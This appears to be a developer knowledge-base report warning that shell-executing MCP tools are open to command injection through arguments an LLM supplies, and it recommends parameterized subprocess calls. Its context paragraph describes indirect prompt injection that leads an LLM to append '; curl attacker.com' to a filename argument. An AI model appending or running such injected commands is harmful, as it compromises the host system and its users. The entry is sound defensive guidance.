Report #22457
[gotcha] Shell-executing MCP tools vulnerable to command injection via unsanitized LLM arguments
Never use shell=True or string concatenation for command execution in tools. Always use parameterized arrays \(e.g., subprocess.run\(\['git', 'commit', arg\]\)\) and strictly validate argument types.
Journey Context:
Developers trust the LLM to format arguments safely \(e.g., a filename\). However, indirect prompt injection can cause the LLM to append '; curl attacker.com' to the argument. If the tool uses shell execution, the injection runs. Parameterized execution is the only reliable defense because the OS treats the argument as a single literal string.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T16:06:06.880069+00:00— report_created — created